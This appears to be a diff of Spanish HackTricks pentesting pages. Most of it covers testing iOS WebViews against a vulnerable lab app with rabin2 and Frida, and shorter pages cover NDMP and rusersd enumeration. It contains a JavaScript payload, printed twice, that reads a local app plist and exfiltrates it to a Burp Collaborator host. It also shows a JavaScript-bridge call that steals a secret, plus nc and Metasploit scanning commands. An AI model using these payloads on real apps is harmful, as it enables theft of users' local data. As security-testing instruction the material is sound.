$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||||
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||||
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
|
||||
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
|
||||
```
|
||||
#### Probando la Configuración de JavaScript
|
||||
|
||||
Para `WKWebView`s, como buena práctica, JavaScript debería estar deshabilitado a menos que sea explícitamente requerido. Para verificar que JavaScript fue deshabilitado correctamente, busca en el proyecto los usos de `WKPreferences` y asegúrate de que la propiedad [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esté establecida en `false`:
|
||||
```
|
||||
let webPreferences = WKPreferences()
|
||||
webPreferences.javaScriptEnabled = false
|
||||
```
|
||||
Si solo se tiene el binario compilado, se puede buscar lo siguiente en él:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
|
||||
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
|
||||
```
|
||||
#### Probando OnlySecureContent
|
||||
|
||||
A diferencia de los `UIWebView`, cuando se utilizan `WKWebView`s es posible detectar contenido mixto (contenido HTTP cargado desde una página HTTPS). Al utilizar el método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) se puede verificar si todos los recursos de la página se han cargado a través de conexiones cifradas de forma segura.\
|
||||
En el binario compilado:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
También se puede buscar en el código fuente o en las cadenas la cadena "http://". Sin embargo, esto no necesariamente significa que haya un problema de contenido mixto. Obtenga más información sobre el contenido mixto en [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content).
|
||||
|
||||
### Análisis dinámico
|
||||
|
||||
Es posible inspeccionar el heap a través de `ObjC.choose()` para encontrar instancias de los diferentes tipos de WebViews y también buscar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`:
|
||||
|
||||
{% code title="webviews_inspector.js" %}
|
||||
```javascript
|
||||
ObjC.choose(ObjC.classes['UIWebView'], {
|
||||
onMatch: function (ui) {
|
||||
console.log('onMatch: ', ui);
|
||||
console.log('URL: ', ui.request().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for UIWebView!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
||||
onMatch: function (sf) {
|
||||
console.log('onMatch: ', sf);
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for SFSafariViewController!');
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||||
}
|
||||
});
|
||||
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
}
|
||||
});
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Cargalo con:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
||||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||||
|
||||
hasOnlySecureContent: false
|
||||
```
|
||||
## Manejo de protocolos WebView
|
||||
|
||||
Varios esquemas predeterminados están disponibles que se interpretan en un WebView en iOS, por ejemplo:
|
||||
|
||||
* http(s)://
|
||||
* file://
|
||||
* tel://
|
||||
|
||||
Los WebViews pueden cargar contenido remoto desde un punto final, pero también pueden cargar contenido local desde el directorio de datos de la aplicación. Si se carga el contenido local, el usuario no debería poder influir en el nombre de archivo o la ruta utilizada para cargar el archivo, y los usuarios no deberían poder editar el archivo cargado.
|
||||
|
||||
### Carga de contenido WebView
|
||||
|
||||
* **UIWebView**: Puede usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) o [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para cargar contenido.
|
||||
* **WKWebView**: Puede usar los métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) o [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para cargar archivos HTML locales y `loadRequest:` para contenido web. Por lo general, los archivos locales se cargan en combinación con métodos que incluyen, entre otros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) o [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Además, también debe verificar si la aplicación está utilizando el método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Su primer parámetro es `URL` y contiene la URL que se cargará en el WebView, su segundo parámetro `allowingReadAccessToURL` puede contener un solo archivo o un directorio. Si contiene un solo archivo, ese archivo estará disponible para el WebView. Sin embargo, si contiene un directorio, **todos los archivos de ese directorio estarán disponibles para el WebView**. Por lo tanto, vale la pena inspeccionar esto y, en caso de que sea un directorio, verificar que no se pueda encontrar información confidencial dentro de él.
|
||||
|
||||
Si tiene el código fuente, puede buscar esos métodos. Si tiene el **binario compilado**, también puede buscar estos métodos:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
### Acceso a archivos
|
||||
|
||||
* **UIWebView:**
|
||||
* El esquema `file://` siempre está habilitado.
|
||||
* El acceso a archivos desde URLs `file://` siempre está habilitado.
|
||||
* El acceso universal desde URLs `file://` siempre está habilitado.
|
||||
* Si se recupera el origen efectivo de un `UIWebView` donde `baseURL` también está establecido en `nil`, se verá que no está establecido en "null", en su lugar se obtendrá algo similar a lo siguiente: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Este origen "applewebdata://" es similar al origen "file://" ya que **no implementa la Política de Origen Común** y permite el acceso a archivos locales y cualquier recurso web.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exfiltrate_file" %}
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
* **WKWebView**:
|
||||
* **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` por defecto): permite que JavaScript que se ejecuta en el contexto de una URL con esquema `file://` acceda a contenido de otras URLs con esquema `file://`.
|
||||
* **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` por defecto): permite que JavaScript que se ejecuta en el contexto de una URL con esquema `file://` acceda a contenido de cualquier origen.
|
||||
|
||||
Puedes buscar estas funciones en el código fuente de la aplicación o en el binario compilado.\
|
||||
Además, puedes utilizar el siguiente script de frida para encontrar esta información:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
console.log('onMatch: ', wk);
|
||||
console.log('URL: ', wk.URL().toString());
|
||||
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||||
console.log('allowFileAccessFromFileURLs: ',
|
||||
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||||
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||
console.log('allowUniversalAccessFromFileURLs: ',
|
||||
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
```bash
|
||||
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
||||
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
|
||||
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
|
||||
Library/WKWebView/scenario1.html
|
||||
javaScriptEnabled: true
|
||||
allowFileAccessFromFileURLs: 0
|
||||
hasOnlySecureContent: false
|
||||
allowUniversalAccessFromFileURLs: 0
|
||||
```
|
||||
#### Exfiltrar archivos arbitrarios
|
||||
```javascript
|
||||
//For some reason this payload doesn't work!!
|
||||
//Let me know if you know how to exfiltrate local files from a WKWebView
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
var result = "";
|
||||
for (i=0; i<this.length; i++) {
|
||||
hex = this.charCodeAt(i).toString(16);
|
||||
result += ("000"+hex).slice(-4);
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var xhr2 = new XMLHttpRequest();
|
||||
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||||
xhr2.send(null);
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## Métodos nativos expuestos a través de WebViews
|
||||
|
||||
Desde iOS 7, Apple introdujo APIs que permiten la comunicación entre el tiempo de ejecución de JavaScript en la WebView y los objetos nativos Swift o Objective-C.
|
||||
|
||||
Hay dos formas fundamentales en que el código nativo y JavaScript pueden comunicarse:
|
||||
|
||||
* **JSContext**: Cuando un bloque Objective-C o Swift se asigna a un identificador en un `JSContext`, JavaScriptCore envuelve automáticamente el bloque en una función JavaScript.
|
||||
* **Protocolo JSExport**: Las propiedades, los métodos de instancia y los métodos de clase declarados en un protocolo heredado de `JSExport` se asignan a objetos JavaScript que están disponibles para todo el código JavaScript. Las modificaciones de objetos que están en el entorno JavaScript se reflejan en el entorno nativo.
|
||||
|
||||
Tenga en cuenta que **solo los miembros de clase definidos en el protocolo `JSExport`** son accesibles para el código JavaScript.\
|
||||
Busque código que asigne objetos nativos al `JSContext` asociado con una WebView y analice qué funcionalidad expone, por ejemplo, no se debe acceder ni exponer datos sensibles a las WebViews.\
|
||||
En Objective-C, el `JSContext` asociado con una `UIWebView` se obtiene de la siguiente manera:
|
||||
```objectivec
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
El código JavaScript en un **`WKWebView` todavía puede enviar mensajes de vuelta a la aplicación nativa, pero a diferencia de `UIWebView`, no es posible hacer referencia directamente al `JSContext` de un `WKWebView`. En su lugar, la comunicación se implementa utilizando un sistema de mensajería y la función `postMessage`, que serializa automáticamente los objetos JavaScript en objetos nativos Objective-C o Swift. Los manejadores de mensajes se configuran utilizando el método [`add(_ scriptMessageHandler:name:)`](https://developer.apple.com/documentation/webkit/wkusercontentcontroller/1537172-add).
|
||||
|
||||
### Habilitando JavascriptBridge
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
let userContentController = wkWebViewConfiguration.userContentController
|
||||
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||||
|
||||
if enabled {
|
||||
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||||
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||||
}
|
||||
}
|
||||
```
|
||||
### Enviando Mensajes
|
||||
|
||||
Agregar un controlador de mensajes de script con el nombre `"name"` (o `"javaScriptBridge"` en el ejemplo anterior) hace que la función JavaScript `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` se defina en todos los marcos de todas las vistas web que usan el controlador de contenido del usuario. Luego se puede [usar desde el archivo HTML de esta manera](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33):
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
value2 = document.getElementById("value2").value
|
||||
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||||
}
|
||||
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
|
||||
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
|
||||
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Una vez que se ejecuta la función nativa, generalmente se **ejecutará algún JavaScript dentro de la página web** (ver `evaluateJavascript` a continuación) y puede estar interesado en **anular la función** que se va a ejecutar para **robar el resultado**.\
|
||||
Por ejemplo, en el siguiente script, la función **`javascriptBridgeCallBack`** se ejecutará con 2 parámetros (la función llamada y el **resultado**). Si controla el HTML que se va a cargar, puede crear una **alerta con el resultado** de la siguiente manera:
|
||||
```markup
|
||||
<html>
|
||||
<script>
|
||||
document.location = "javascriptbridge://getSecret"
|
||||
function javascriptBridgeCallBack(name, result) {
|
||||
alert(result);
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
### Función llamada
|
||||
|
||||
La función llamada se encuentra en [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29):
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
|
||||
//...
|
||||
|
||||
case "multiplyNumbers":
|
||||
|
||||
let arg1 = Double(messageArray[1])!
|
||||
let arg2 = Double(messageArray[2])!
|
||||
result = String(arg1 * arg2)
|
||||
//...
|
||||
|
||||
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
```
|
||||
### Pruebas
|
||||
|
||||
Para probar el envío de un postMessage dentro de una aplicación, se puede:
|
||||
|
||||
* Cambiar la respuesta del servidor (MitM)
|
||||
* Realizar una instrumentación dinámica e inyectar la carga útil de JavaScript utilizando frameworks como Frida y las correspondientes funciones de evaluación de JavaScript disponibles para los iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` y [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`).
|
||||
|
||||
## Depuración de iOS WebViews
|
||||
|
||||
(Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
En los webviews de iOS, los mensajes enviados a `console.log()` _no_ se imprimen en los registros de Xcode. Todavía es relativamente fácil depurar el contenido web con las herramientas de desarrollador de Safari, aunque hay un par de limitaciones:
|
||||
|
||||
* La depuración de los webviews de iOS requiere Safari, por lo que su ordenador de desarrollo debe estar ejecutando macOS.
|
||||
* Solo se pueden depurar los webviews en aplicaciones cargadas en su dispositivo a través de Xcode. No se pueden depurar los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator.
|
||||
|
||||
Con esas limitaciones en mente, aquí están los pasos para depurar de forma remota un webview en iOS:
|
||||
|
||||
* Primero, habilite el Inspector web de Safari en su dispositivo iOS abriendo la aplicación _Configuración_ de iOS, navegando a **Configuración > Safari > Avanzado**, y activando la opción _Inspector web_.
|
||||
|
||||
![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg)
|
||||
|
||||
* A continuación, también debe habilitar las herramientas de desarrollador en Safari en su ordenador de desarrollo. Inicie Safari en su máquina de desarrollo y navegue a **Safari > Preferencias** en la barra de menú. En el panel de preferencias que aparece, haga clic en la pestaña _Avanzado_ y luego habilite la opción _Mostrar menú Desarrollar_ en la parte inferior. Después de hacer eso, puede cerrar el panel de preferencias.
|
||||
|
||||
![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg)
|
||||
|
||||
* Conecte su dispositivo iOS a su ordenador de desarrollo y lance su aplicación.
|
||||
* En Safari en su ordenador de desarrollo, haga clic en _Desarrollar_ en la barra de menú y coloque el cursor sobre la opción desplegable que es el nombre de su dispositivo iOS para mostrar una lista de instancias de webview que se ejecutan en su dispositivo iOS.
|
||||
|
||||
![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg)
|
||||
|
||||
* Haga clic en la opción desplegable del webview que desea depurar. Esto abrirá una nueva ventana de Safari Web Inspector para inspeccionar el webview.
|
||||
|
||||
![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg)
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenga el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,134 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# **Información del Protocolo**
|
||||
|
||||
**NDMP**, o **Protocolo de Gestión de Datos de Red**, es un protocolo destinado a transportar datos entre dispositivos de almacenamiento conectados a la red \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) y dispositivos de [backup](https://en.wikipedia.org/wiki/Backup). Esto elimina la necesidad de transportar los datos a través del servidor de backup en sí, mejorando así la velocidad y eliminando la carga del servidor de backup.
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/NDMP).
|
||||
|
||||
**Puerto predeterminado:** 10000
|
||||
```text
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
## **NDMP Enumeration**
|
||||
|
||||
## **Enumeración de NDMP**
|
||||
|
||||
### **Port Scanning**
|
||||
|
||||
### **Escaneo de puertos**
|
||||
|
||||
We can start by scanning the target host for open ports using tools like Nmap or Masscan. NDMP uses port 10000 by default, but it can be configured to use a different port.
|
||||
|
||||
Podemos comenzar escaneando el host objetivo en busca de puertos abiertos utilizando herramientas como Nmap o Masscan. NDMP utiliza el puerto 10000 de forma predeterminada, pero se puede configurar para utilizar un puerto diferente.
|
||||
|
||||
```bash
|
||||
nmap -p 10000 <target_ip>
|
||||
```
|
||||
|
||||
### **Banner Grabbing**
|
||||
|
||||
### **Obtención de banner**
|
||||
|
||||
Once we have identified the open port, we can try to grab the banner to determine the NDMP version and the vendor.
|
||||
|
||||
Una vez que hemos identificado el puerto abierto, podemos intentar obtener el banner para determinar la versión y el proveedor de NDMP.
|
||||
|
||||
```bash
|
||||
nc -nv <target_ip> 10000
|
||||
```
|
||||
|
||||
### **NDMP Enumeration with ndmp-tool**
|
||||
|
||||
### **Enumeración de NDMP con ndmp-tool**
|
||||
|
||||
We can use the ndmp-tool to enumerate the NDMP service and gather information about the backup jobs, volumes, and file systems.
|
||||
|
||||
Podemos utilizar la herramienta ndmp-tool para enumerar el servicio NDMP y recopilar información sobre los trabajos de copia de seguridad, volúmenes y sistemas de archivos.
|
||||
|
||||
```bash
|
||||
ndmp-tool <target_ip> -enum
|
||||
```
|
||||
|
||||
The output will show the NDMP version, vendor, and supported authentication methods.
|
||||
|
||||
La salida mostrará la versión, el proveedor y los métodos de autenticación admitidos de NDMP.
|
||||
|
||||
```bash
|
||||
NDMP Version: 4
|
||||
Vendor: NetApp
|
||||
Auth Methods: AUTH_NONE, AUTH_MD5
|
||||
```
|
||||
|
||||
We can also use the ndmp-tool to list the backup jobs, volumes, and file systems.
|
||||
|
||||
También podemos utilizar la herramienta ndmp-tool para listar los trabajos de copia de seguridad, volúmenes y sistemas de archivos.
|
||||
|
||||
```bash
|
||||
ndmp-tool <target_ip> -lj
|
||||
ndmp-tool <target_ip> -lv
|
||||
ndmp-tool <target_ip> -lf
|
||||
```
|
||||
|
||||
### **NDMP Enumeration with Metasploit**
|
||||
|
||||
### **Enumeración de NDMP con Metasploit**
|
||||
|
||||
Metasploit also provides a module for NDMP enumeration.
|
||||
|
||||
Metasploit también proporciona un módulo para la enumeración de NDMP.
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/ndmp/ndmp_enum
|
||||
set RHOSTS <target_ip>
|
||||
run
|
||||
```
|
||||
|
||||
The output will show the NDMP version, vendor, and supported authentication methods.
|
||||
|
||||
La salida mostrará la versión, el proveedor y los métodos de autenticación admitidos de NDMP.
|
||||
|
||||
```bash
|
||||
[*] NDMP Version: 4
|
||||
[*] Vendor: NetApp
|
||||
[*] Auth Methods: AUTH_NONE, AUTH_MD5
|
||||
```
|
||||
```bash
|
||||
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
||||
```
|
||||
## Shodan
|
||||
|
||||
`ndmp`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
30
network-services-pentesting/1026-pentesting-rusersd.md
Normal file
30
network-services-pentesting/1026-pentesting-rusersd.md
Normal file
|
@ -0,0 +1,30 @@
|
|||
# Información Básica
|
||||
|
||||
Este protocolo le proporcionará los nombres de usuario del host. Es posible que pueda encontrar estos servicios listados por el servicio de mapeo de puertos como este:
|
||||
|
||||
![](<../.gitbook/assets/image (231).png>)
|
||||
|
||||
## Enumeración
|
||||
```
|
||||
root@kali:~# apt-get install rusers
|
||||
root@kali:~# rusers -l 192.168.10.1
|
||||
Sending broadcast for rusersd protocol version 3...
|
||||
Sending broadcast for rusersd protocol version 2...
|
||||
tiff potatohead:console Sep 2 13:03 22:03
|
||||
katykat potatohead:ttyp5 Sep 1 09:35 14
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
